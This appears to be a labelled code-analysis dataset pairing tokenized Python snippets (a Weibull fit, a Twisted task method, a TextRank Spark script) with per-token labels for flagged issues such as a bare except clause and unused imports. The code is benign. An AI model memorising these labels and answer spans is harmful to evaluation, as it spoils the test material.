[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "fit", "Wei", "bull", "_", "(_", "x_", ",_", "ilo", "g_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Emp", "eric", "ally", " ", "fit", " ", "a", " ", "Wei", "bull", " ", "distribu", "tion", " ", "to", " ", "x", " ", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "x", ":", " ", "a", " ", "list", " ", "contain", "ing", " ", "the", " ", "x", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "x", ":", " ", "a", " ", "list", " ", "of", " ", "float", "s", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "ilo", "g", ":", " ", "an", " ", "image", " ", "log", " ", "to", " ", "save", " ", "fit", " ", "informati", "on", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "ilo", "g", ":", " ", "pv", ".", "Image", "Log", "\\", "10", ";", " ", " ", " ", " ", "@", "return", "s", ":", " ", "(", "k", ",", "lambda", ")", " ", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "np_", "._", "array_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "x_", "._", "min_", "(_", ")_", ">=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "n_", "=_", "len_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "nl", "l_", "(_", "params_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", " ", "Nega", "tiv", "e", " ", "log", " ", "lik", "ly", "hood", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shape_", ",_", "scale_", "=_", "params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mask_", "=_", "x_", ">_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pdf_", "=_", "pdf", "Wei", "bull", "_", "(_", "x_", ",_", "shape_", ",_", "scale_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "pdf", " ", "=", " ", "(", "shape", "/", "scale", ")*", "((", "x", "/", "scale", ")**", "(", "shape", "-1", "))", "*", "np", ".", "exp", "(-", "(", "x", "/", "scale", ")**", "shape", ")_", "\\u\\u\\uNL\\u\\u\\u_", "ll_", "=_", "np_", "._", "log_", "(_", "pdf_", "[_", "mask_", "]_", ")_", "._", "sum_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t1_", "=_", "(_", "~_", "mask_", ")_", "._", "sum_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ll_", "+=_", "t1_", "*_", "np_", "._", "log_", "(_", "0.000001", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "-_", "ll_", "/_", "len_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tmp_", "=_", "sp_", "._", "optimize_", "._", "fmin", "_", "(_", "nl", "l_", ",_", "[_", "1.0_", ",_", "np_", "._", "mean_", "(_", "x_", ")_", "]_", ",_", "disp_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shape_", ",_", "scale_", "=_", "tmp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "ilo", "g_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plot", " ", "the", " ", "CD", "F_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "order_", "=_", "x_", "._", "argsort_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "x_", "[_", "order_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "order_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "points_", "=_", "[_", "0_", ",_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "points_", "=_", "[_", "[_", "0_", ",_", "0_", "]_", "]_", "+_", "[_", "[_", "x_", "[_", "i_", "]_", ",_", "float_", "(_", "i_", ")_", "/_", "n_", "]_", "for_", "i_", "in_", "range_", "(_", "n_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plot_", "=_", "pv_", "._", "Plot_", "(_", "title_", "=_", "\"", "Wei", "bull", " ", "CD", "F", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plot_", "._", "points_", "(_", "points_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "cdf", " ", "=", " ", "cdf", "Wei", "bull", "(", "x", ",", " ", "shape", ",", " ", "scale", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "lines_", "=_", "[_", "[_", "0_", ",_", "0_", "]_", "]_", "+_", "[_", "[_", "x_", "[_", "i_", "]_", ",_", "cdf", "Wei", "bull", "_", "(_", "x_", "[_", "i_", "]_", ",_", "shape_", ",_", "scale_", ")_", "]_", "for_", "i_", "in_", "range_", "(_", "n_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plot_", "._", "lines_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ilo", "g_", "(_", "plot_", ",_", "\"", "Wei", "bull", "CD", "F", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plot_", "=_", "pv_", "._", "Plot_", "(_", "title_", "=_", "\"", "Wei", "bull", " ", "PD", "F", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "pdf", "Wei", "bull", "_", "(_", "x_", ",_", "shape_", ",_", "scale_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "points_", "=_", "np_", "._", "array_", "(_", "[_", "x_", ",_", "y_", "]_", ")_", "._", "reshape_", "(_", "2_", ",_", "n_", ")_", "._", "T_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plot_", "._", "lines_", "(_", "points_", ",_", "color_", "=_", "'", "red", "'_", ",_", "width_", "=_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "hist_", ",_", "bins_", "=_", "np_", "._", "histogram_", "(_", "x_", ",_", "5_", ",_", "normed_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t1_", "=_", "0.5_", "*_", "(_", "bins_", "[_", ":_", "-_", "1_", "]_", "+_", "bins_", "[_", "1_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "points_", "=_", "np_", "._", "array_", "(_", "[_", "t1_", ",_", "hist_", "]_", ")_", "._", "reshape_", "(_", "2_", ",_", "5_", ")_", "._", "T_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plot_", "._", "lines_", "(_", "points_", ",_", "color_", "=_", "'", "blue", "'_", ",_", "width_", "=_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ilo", "g_", "(_", "plot_", ",_", "\"", "Wei", "bull", "PD", "F", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "shape_", ",_", "scale_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
twisted/twisted/twisted/internet/task.py
[ { "content": " def _oneWorkUnit(self):\n \"\"\"\n Perform one unit of work for this task, retrieving one item from its\n iterator, stopping if there are no further items in the iterator, and\n pausing if the result was a L{defer.Deferred}.\n \"\"\"\n try:\n result = next(self._iterator)\n except StopIteration:\n self._completeWith(TaskDone(), self._iterator)\n except:\n self._completeWith(TaskFailed(), Failure())\n else:\n if isinstance(result, defer.Deferred):\n self.pause()\n def failLater(f):\n self._completeWith(TaskFailed(), f)\n result.addCallbacks(lambda result: self.resume(),\n failLater)", "metadata": "root.CooperativeTask._oneWorkUnit", "header": "['class', 'CooperativeTask', '(', 'object', ')', ':', '___EOS___']", "index": 509 } ]
[ { "span": "except:", "start_line": 519, "start_column": 8, "end_line": 519, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Coo", "perat", "ive", "Task_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "one", "Work", "Unit_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Perform", " ", "one", " ", "unit", " ", "of", " ", "work", " ", "for", " ", "this", " ", "task", ",", " ", "retrie", "ving", " ", "one", " ", "item", " ", "from", " ", "its", "\\", "10", ";", " ", " ", " ", " ", "iter", "ator", ",", " ", "stopping", " ", "if", " ", "there", " ", "are", " ", "no", " ", "fur", "ther", " ", "items", " ", "in", " ", "the", " ", "iter", "ator", ",", " ", "and", "\\", "10", ";", " ", " ", " ", " ", "paus", "ing", " ", "if", " ", "the", " ", "result", " ", "was", " ", "a", " ", "L", "{", "defer", ".", "Defe", "rre", "d", "}.", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "next_", "(_", "self_", "._", "\\u", "iterator_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Sto", "p", "Iteration_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "complete", "With_", "(_", "Task", "Done_", "(_", ")_", ",_", "self_", "._", "\\u", "iterator_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "complete", "With_", "(_", "Task", "Failed_", "(_", ")_", ",_", "Failure_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "result_", ",_", "defer_", "._", "Deferred_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "pause_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "fail", "Later_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "\\u", "complete", "With_", "(_", "Task", "Failed_", "(_", ")_", ",_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "result_", "._", "add", "Callbacks_", "(_", "lambda_", "result_", ":_", "self_", "._", "resume_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "fail", "Later_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ceteri/exsto/deprecated/TextRank.py
[ { "content": "# TextRank, based on:\n# http://web.eecs.umich.edu/~mihalcea/papers/mihalcea.emnlp04.pdf\n\nfrom itertools import tee, izip\nfrom nltk import stem\nfrom text.blob import TextBlob as tb\nfrom textblob_aptagger import PerceptronTagger\nimport nltk.data\nimport numpy as np\nimport sys\n\n\nTOKENIZER = nltk.data.load('tokenizers/punkt/english.pickle')\nTAGGER = PerceptronTagger()\nSTEMMER = stem.porter.PorterStemmer()\n\n\n\n\n\n\n######################################################################\n## build a graph from raw text\n\nTEXT = \"\"\"\nCompatibility of systems of linear constraints over the set of natural numbers. \nCriteria of compatibility of a system of linear Diophantine equations, strict\ninequations, and nonstrict inequations are considered. Upper bounds for\ncomponents of a minimal set of solutions and algorithms of construction of\nminimal generating sets of solutions for all types of systems are given. \nThese criteria and the corresponding algorithms for constructing a minimal\nsupporting set of solutions can be used in solving all the considered types\nsystems and systems of mixed types.\n\"\"\"\n\nfrom pyspark import SparkContext\nsc = SparkContext(appName=\"TextRank\", master=\"local[*]\")\n\nsent = sc.parallelize(TOKENIZER.tokenize(TEXT)).map(pos_tag).cache()\nsent.collect()\n\nbase = list(np.cumsum(np.array(sent.map(len).collect())))\nbase.insert(0, 0)\nbase.pop()\nsent_length = sc.parallelize(base)\n \ntagged_doc = sent_length.zip(sent).map(wrap_words)\n\n\n######################################################################\n\nfrom pyspark.sql import SQLContext, Row\nsqlCtx = SQLContext(sc)\n\n\nwords = tagged_doc.flatMap(enum_words)\npair_words = words.keyBy(lambda w: w[\"stem\"])\nuniq_words = words.map(lambda w: w[\"stem\"]).distinct().zipWithUniqueId()\n\nuniq = sc.broadcast(dict(uniq_words.collect()))\n\n\n\nid_doc = pair_words.join(uniq_words).map(id_words)\nid_words = id_doc.map(lambda w: (w[\"id\"], w[\"index\"], w[\"word\"], w[\"stem\"], w[\"tag\"]))\n\nwordSchema = id_words.map(lambda p: Row(id=long(p[0]), index=int(p[1]), word=p[2], stem=p[3], tag=p[4]))\nwordTable = sqlCtx.inferSchema(wordSchema)\n\nwordTable.registerTempTable(\"word\")\nwordTable.saveAsParquetFile(\"word.parquet\")\n\n\n######################################################################\n\n\n\n\n\n\n\ntiled = tagged_doc.flatMap(lambda s: sliding_window(s, 3)).flatMap(link_words).filter(keep_pair)\n\nt0 = tiled.map(lambda l: (uniq.value[l[0][\"stem\"]], uniq.value[l[1][\"stem\"]],))\nt1 = tiled.map(lambda l: (uniq.value[l[1][\"stem\"]], uniq.value[l[0][\"stem\"]],))\n\nneighbors = t0.union(t1)\n\nedgeSchema = neighbors.map(lambda p: Row(n0=long(p[0]), n1=long(p[1])))\nedgeTable = sqlCtx.inferSchema(edgeSchema)\n\nedgeTable.registerTempTable(\"edge\")\nedgeTable.saveAsParquetFile(\"edge.parquet\")\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def pos_tag (s):\n \"\"\"high-performance part-of-speech tagger\"\"\"\n global TAGGER\n return TAGGER.tag(s)", "metadata": "root.pos_tag", "header": "['module', '___EOS___']", "index": 17 }, { "content": "def wrap_words (pair):\n \"\"\"wrap each (word, tag) pair as an object with fully indexed metadata\"\"\"\n global STEMMER\n index = pair[0]\n result = []\n for word, tag in pair[1]:\n word = word.lower()\n stem = STEMMER.stem(word)\n if stem == \"\":\n stem = word\n keep = tag in ('JJ', 'NN', 'NNS', 'NNP',)\n result.append({ \"id\": 0, \"index\": index, \"stem\": stem, \"word\": word, \"tag\": tag, \"keep\": keep })\n index += 1\n return result", "metadata": "root.wrap_words", "header": "['module', '___EOS___']", "index": 23 }, { "content": "def enum_words (s):\n for word in s:\n yield word", "metadata": "root.enum_words", "header": "['module', '___EOS___']", "index": 72 }, { "content": "def id_words (pair):\n (key, val) = pair\n word = val[0]\n id = val[1]\n word[\"id\"] = id\n return word", "metadata": "root.id_words", "header": "['module', '___EOS___']", "index": 83 }, { "content": "def sliding_window (iterable, size):\n \"\"\"apply a sliding window to produce 'size' tiles\"\"\"\n iters = tee(iterable, size)\n for i in xrange(1, size):\n for each in iters[i:]:\n next(each, None)\n return list(izip(*iters))", "metadata": "root.sliding_window", "header": "['module', '___EOS___']", "index": 102 }, { "content": "def keep_pair (pair):\n \"\"\"filter the relevant linked word pairs\"\"\"\n return pair[0][\"keep\"] and pair[1][\"keep\"] and (pair[0][\"word\"] != pair[1][\"word\"])", "metadata": "root.keep_pair", "header": "['module', '___EOS___']", "index": 111 }, { "content": "def link_words (seq):\n \"\"\"attempt to link words in a sentence\"\"\"\n return [ (seq[0], word) for word in seq[1:] ]", "metadata": "root.link_words", "header": "['module', '___EOS___']", "index": 116 } ]
[ { "span": "from text.blob import TextBlob as tb", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 36 }, { "span": "import sys", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 10 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Text", "Rank", ",", " ", "based", " ", "on", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "http", "://", "web", ".", "eec", "s", ".", "umi", "ch", ".", "edu", "/", "~", "mi", "hal", "cea", "/", "papers", "/", "mi", "hal", "cea", ".", "em", "nlp", "04", ".", "pdf_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "itertools_", "import_", "tee", "_", ",_", "izip_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "nltk_", "import_", "stem_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "text_", "._", "blob_", "import_", "Text", "Blob_", "as_", "tb_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "textb", "lob", "\\u", "apt", "agg", "er_", "import_", "Perce", "ptr", "on", "Tagger", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "nltk_", "._", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "TOKEN", "IZE", "R_", "=_", "nltk_", "._", "data_", "._", "load_", "(_", "'", "tokenize", "rs", "/", "pun", "kt", "/", "english", ".", "pickle", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "TAG", "GER", "_", "=_", "Perce", "ptr", "on", "Tagger", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "STE", "MM", "ER_", "=_", "stem_", "._", "porte", "r_", "._", "Port", "er", "Stem", "mer_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "build", " ", "a", " ", "graph", " ", "from", " ", "raw", " ", "text_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "TEXT_", "=_", "\"\"\"", "\\", "10", ";", "Compat", "ibi", "lit", "y", " ", "of", " ", "system", "s", " ", "of", " ", "linear", " ", "constraint", "s", " ", "over", " ", "the", " ", "set", " ", "of", " ", "natur", "al", " ", "numbers", ".", " ", "\\", "10", ";", "Criteria", " ", "of", " ", "compatibility", " ", "of", " ", "a", " ", "system", " ", "of", " ", "linear", " ", "Di", "oph", "antin", "e", " ", "equation", "s", ",", " ", "strict", "\\", "10", ";", "ine", "quat", "ion", "s", ",", " ", "and", " ", "nons", "tric", "t", " ", "ine", "quat", "ion", "s", " ", "are", " ", "consider", "ed", ".", " ", "Upp", "er", " ", "bound", "s", " ", "for", "\\", "10", ";", "component", "s", " ", "of", " ", "a", " ", "minima", "l", " ", "set", " ", "of", " ", "solut", "ion", "s", " ", "and", " ", "algo", "rit", "hms", " ", "of", " ", "constructi", "on", " ", "of", "\\", "10", ";", "minima", "l", " ", "generat", "ing", " ", "sets", " ", "of", " ", "solut", "ion", "s", " ", "for", " ", "all", " ", "types", " ", "of", " ", "system", "s", " ", "are", " ", "give", "n", ".", " ", "\\", "10", ";", "The", "se", " ", "crite", "ria", " ", "and", " ", "the", " ", "correspond", "ing", " ", "algo", "rit", "hms", " ", "for", " ", "constructi", "ng", " ", "a", " ", "minima", "l", "\\", "10", ";", "support", "ing", " ", "set", " ", "of", " ", "solut", "ion", "s", " ", "can", " ", "be", " ", "used", " ", "in", " ", "solv", "ing", " ", "all", " ", "the", " ", "consider", "ed", " ", "types", "\\", "10", ";", "system", "s", " ", "and", " ", "system", "s", " ", "of", " ", "mixed", " ", "types", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "pyspark_", "import_", "Spar", "k", "Context_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sc_", "=_", "Spar", "k", "Context_", "(_", "app", "Name_", "=_", "\"", "Text", "Rank", "\"_", ",_", "master_", "=_", "\"", "local", "[*]", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sent_", "=_", "sc_", "._", "paralleliz", "e_", "(_", "TOKEN", "IZE", "R_", "._", "tokenize_", "(_", "TEXT_", ")_", ")_", "._", "map_", "(_", "pos", "\\u", "tag_", ")_", "._", "cache_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sent_", "._", "collect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "base_", "=_", "list_", "(_", "np_", "._", "cumsum_", "(_", "np_", "._", "array_", "(_", "sent_", "._", "map_", "(_", "len_", ")_", "._", "collect_", "(_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "base_", "._", "insert_", "(_", "0_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "base_", "._", "pop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sent", "\\u", "length_", "=_", "sc_", "._", "paralleliz", "e_", "(_", "base_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tagg", "ed", "\\u", "doc_", "=_", "sent", "\\u", "length_", "._", "zip_", "(_", "sent_", ")_", "._", "map_", "(_", "wrap", "\\u", "words_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "pyspark_", "._", "sql_", "import_", "SQL", "Context_", ",_", "Row_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sql", "Ctx_", "=_", "SQL", "Context_", "(_", "sc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "words_", "=_", "tagg", "ed", "\\u", "doc_", "._", "flat", "Map_", "(_", "enum", "\\u", "words_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pair", "\\u", "words_", "=_", "words_", "._", "key", "By_", "(_", "lambda_", "w_", ":_", "w_", "[_", "\"", "stem", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uniq", "\\u", "words_", "=_", "words_", "._", "map_", "(_", "lambda_", "w_", ":_", "w_", "[_", "\"", "stem", "\"_", "]_", ")_", "._", "distinct_", "(_", ")_", "._", "zip", "With", "Unique", "Id_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "uniq", "_", "=_", "sc_", "._", "broadcast_", "(_", "dict_", "(_", "uniq", "\\u", "words_", "._", "collect_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "id", "\\u", "doc_", "=_", "pair", "\\u", "words_", "._", "join_", "(_", "uniq", "\\u", "words_", ")_", "._", "map_", "(_", "id", "\\u", "words_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "id", "\\u", "words_", "=_", "id", "\\u", "doc_", "._", "map_", "(_", "lambda_", "w_", ":_", "(_", "w_", "[_", "\"", "id", "\"_", "]_", ",_", "w_", "[_", "\"", "index", "\"_", "]_", ",_", "w_", "[_", "\"", "word", "\"_", "]_", ",_", "w_", "[_", "\"", "stem", "\"_", "]_", ",_", "w_", "[_", "\"", "tag", "\"_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "word", "Schema_", "=_", "id", "\\u", "words_", "._", "map_", "(_", "lambda_", "p_", ":_", "Row_", "(_", "id_", "=_", "long_", "(_", "p_", "[_", "0_", "]_", ")_", ",_", "index_", "=_", "int_", "(_", "p_", "[_", "1_", "]_", ")_", ",_", "word_", "=_", "p_", "[_", "2_", "]_", ",_", "stem_", "=_", "p_", "[_", "3_", "]_", ",_", "tag_", "=_", "p_", "[_", "4_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "word", "Table_", "=_", "sql", "Ctx_", "._", "infer", "Schema_", "(_", "word", "Schema_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "word", "Table_", "._", "register", "Temp", "Table_", "(_", "\"", "word", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "word", "Table_", "._", "save", "As", "Par", "quet", "File_", "(_", "\"", "word", ".", "parquet", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 